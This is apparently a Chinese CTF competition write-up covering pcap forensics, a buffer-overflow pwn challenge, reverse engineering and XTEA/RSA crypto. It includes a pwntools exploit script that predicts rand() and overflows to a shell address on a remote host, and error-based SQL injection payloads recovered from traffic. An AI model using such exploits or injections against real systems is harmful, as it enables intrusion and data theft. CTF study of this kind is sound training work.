Misc 被黑了_q1
直接 strings 1.pcapng |grep password |grep username
使用 md5(admin123)提交即可
Misc 被黑了_q2
使用名称服务器协议 nbns 查看数据包有查询服务器名称
使用 md5(DESKTOP-AU8UL8C)提交即可
Misc 被黑了_q3
过滤 http 协议发现有 webshell.php 和路径
D:/phpstudy_pro/WWW/webshell.php
使用 md5(D:/phpstudy_pro/WWW/webshell.php)提交即可
Misc 流量分析
直接 strings strings 1.pcapng > 1.txt
找到报错注入点
select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name='admin' and updatexml(1,concat(0x7e,substr((select group_concat(flag) from beescms.flags),63,95),0x7e),1)#' limit 0,1#HY000XPATH syntax error: '~4383765343238363639347d,,~'select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name='admin' and updatexml(1,concat(0x7e,substr((select group_concat(flag) from beescms.flags),1,32),0x7e),1)#' limit 0,1#HY000XPATH syntax error: '~666c61677b62343039663732662d383'
Misc 神秘邮件
查看少了文件头 504b
补充后发现为word
颜色标注取消隐藏有 flag 尾部 a7165973149c}
strings 后有 ZmxhZ3swNTFkNTFjYy0yNTI4IA==，解密为 flag 头部 flag{051d51cc-2528
winhex 查看有 flag 中间部分-4c65-bf88-}
Misc 签到
MZWGCZ33GFSDGOBZGQ4TALJYMVRWILJUMJRWKLLCGA4TOLJWMU2GMMTEMNRDQNBQHB6Q====base32解密 flag{1d389490-8ecd-4bce-b097-6e4f2dcb8408}
Pwn 石头剪子布
分析代码发现伪随机数
编写代码获得伪随机数序列为 2012202012
需要满足(v5 - rand + 4) % 3 – 1>0
获得输入序列为 0120010120
查看溢出空间为 0x32+8
编写脚本获得 flag
伪随机 C 脚本#include <stdio.h>#include <stdlib.h>#include <time.h>int main() { srand(25);int i = 0;int v8; for(i=0;i<10;i++) {v8 = rand() % 3; printf("%d",v8);}return 1; }from pwn import * p=remote('39.106.78.139', 13462)shell = 0x0000000000400807 p.recvuntil('timesn') p.sendline('0') p.recvuntil('timesn') p.sendline('1') p.recvuntil('timesn') p.sendline('2') p.recvuntil('timesn') p.sendline('0') p.recvuntil('timesn') p.sendline('0') p.recvuntil('timesn') p.sendline('1') p.recvuntil('timesn') p.sendline('0') p.recvuntil('timesn') p.sendline('1') p.recvuntil('timesn') p.sendline('2') p.recvuntil('timesn') p.sendline('0')payload = (0x30+8)*'x' + p64(shell) p.recvuntil('name~ n') p.sendline(payload)p.interactive()
Reverse RE123
解密压缩文件
有 main 和 struct
参考 struct 补充文件头
逆向出 main 的 python 源代码
发现题目为 RSA 加解密，公钥已，只需要找私钥即可，逆向 blue.exe，发现有大 素数，其中有 RSA 加解密
发现 RSA PRIVATE KEY
根据题目提示:YOU NEED RECOVER FLAG FILE FROM flag.encrypt
直接使用RSA 解密得flag
#读密文cipher = open('flag.encrypt','rb') print cipher.readline().encode('hex')15#解密 RSA# -*- coding: utf-8 -*-from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEP d= 0x4902529365103d8b5d9a3aba3a25f65572408b6e5b384454f95144ef7958d13bbbd2cef609 b0d2f0ed7eaf78571677561ad65b3e7666ffd23a6101282a307e4fc0907b5eb83252f9fbb1a0c 8fb8dc3e87f47fae98af7e8a225c445802709db4734f8e142d7047a6067a2b01f31a0dc3e40c3c aa10700c59a135fd0e2bcdb3687c276df17f638e913bc156bc91b9a464038095edfe69067a008 efb59d7fb6a0cf62b92ca28128b7969ff390ac3da458bee754e07462c6c5d4f1eb81ccc18cdac1 5f1ca435c3d2cae6be3abccc6b2a923a9f595e53b6a8b4d7305bc5383cc01093dbdc144dd43d 421c77b93e0deb7efe9cebf86f7bcdaca7c1e714747ec3caf501with open('public.key') as f:key = RSA.importKey(f) n = key.ne = key.edef getprivatekey(n, e, d):priviatekey = RSA.construct((long(n), long(e), long(d))) with open('private.pem', 'w') as f:f.write(priviatekey.exportKey())def decrypt():cipher = "76744c12f90dcb69bdea894231f9c9e4db77798b665e14a6cedf854182818bc5dd5f172de342 53dda4aed22c12a1210689e7bff7ee614c48b0744ee111cbd8f9da48fb2d55d777d7ed184a86 635d80702d1e5063cb4bfcfd3bb8418b766ece6d18b6d03ab94dc332414f319cafa3875ca7baf d89ce5fa424d328e42b44235560b7c85bdf9a0b5fbe132ffa35f3d11795b9083853a485a643f9 1813c6b877e9e0066f06232c9df12f3c231dfa106b8559474a081ebf01006e8b2039df5e68285 b9714bf4423afd8758a61bc964cd95b4fb71d12a4a55850e234a727737e3ef16cf7d61821a93b d83d67c3981cc60b9d522cfee6f53b60cebce34fef9194997a42".decode('hex')#cipher = open('flag.encrypt','rb') #cipher = cipher.encode('hex') with open('private.pem') as f:key = RSA.importKey(f)#key = PKCS1_OAEP.new(key) return key.decrypt(cipher)getprivatekey(n, e, d) m=decrypt()print m
Reverse 8086
程序逻辑为字符串 ys~xdN^NH^HN^NH^HN^NH^HN^NH^HN^Nb 异或 0x1f
strs = "ys~xdN^NH^HN^NH^HN^NH^HN^NH^HN^Nb"print ''.join(chr(ord(i)^0x1f) for i in strs)
Crypto XTEA
密文
4XugK9O+RgRATy8XCToEw2Xh/YLdKvvP8EyzRriO1nl1b25KW9iX2CUInAkHqep Wkey - xtea
直接在线解密
本文始发于微信公众号（IDLab）：全国网络与信息安全技能大赛wp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论